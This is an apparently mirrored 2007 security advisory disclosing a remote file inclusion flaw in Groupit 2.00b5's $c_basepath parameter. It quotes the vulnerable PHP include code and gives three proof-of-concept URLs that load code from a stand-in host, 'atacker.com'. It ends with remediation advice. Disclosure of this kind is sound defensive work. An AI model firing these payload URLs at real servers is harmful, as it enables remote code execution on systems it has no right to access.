-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathadv75-theday-2007.txt
103 lines (80 loc) · 2.87 KB
/
adv75-theday-2007.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
____________________ ___ ___ ________
\_ _____/\_ ___ \ / | \\_____ \
| __)_ / \ \// ~ \/ | \
| \\ \___\ Y / | \
/_______ / \______ /\___|_ /\_______ /
\/ \/ \/ \/ .OR.ID
ECHO_ADV_75$2007
-------------------------------------------------------------------------------------
[ECHO_ADV_75$2007] Groupit 2.00b5 (c_basepath) Remote File Inclusion Vulnerability
-------------------------------------- ----------------------------------------------
Author : Dedi Dwianto a.k.a the_day
Date Found : March, 15th 2007
Location : Indonesia, Jakarta
web : http://echo.or.id/adv/adv75-theday-2007.txt
Critical Lvl : Highly critical
Impact : System access
Where : From Remote
---------------------------------------------------------------------------
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~
Application : Groupit
version : 2.00b5
URL : http://fresh.t-systems-sfr.com/fresh/unix/src/privat2/groupit-2.00b5.tar.gz
---------------------------------------------------------------------------
Vulnerability:
~~~~~~~~~~
- Invalid include function at html/content.php
-----------------------html/content.php------------
<?
...
include "$c_basepath/base/groupit.start.inc";
if (!empty($c_is_search))
{
include "$c_basepath/modules/search/main.inc";
} else
{
if ($c_is_section)
{
include "$c_basepath/modules/content/section.inc";
} else
.........
include "$c_basepath/base/groupit.stop.inc";
?>
----------------------------------------------------------
Input passed to the "$c_basepath" parameter in load.inc.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.
also affected files :
html/userprofile.php
html/password.php
html/dispatch.php
html/deliver.php
and More ....
Proof Of Concept:
~~~~~~~~~~~
http://localhost/groupit/html/content.php?c_basepath=http://atacker.com/inject.txt?
http://localhost/groupit/html/userprofile.php?c_basepath=http://atacker.com/inject.txt?
http://localhost/groupit/html/password.php?c_basepath=http://atacker.com/inject.txt?
Solution:
~~~
- Sanitize variable $c_basepath affected files.
- Turn off register_globals
---------------------------------------------------------------------------
Shoutz:
~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy Nice Girl
~ az001,bomm_3x,matdhule
~ #aikmel - #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~
EcHo Research & Development Center
http://advisories.echo.or.id
erdc[at]echo[dot]or[dot]id
the_day[at]echo[dot]or[dot]id
-------------------------------- [ EOF ]----------------------------------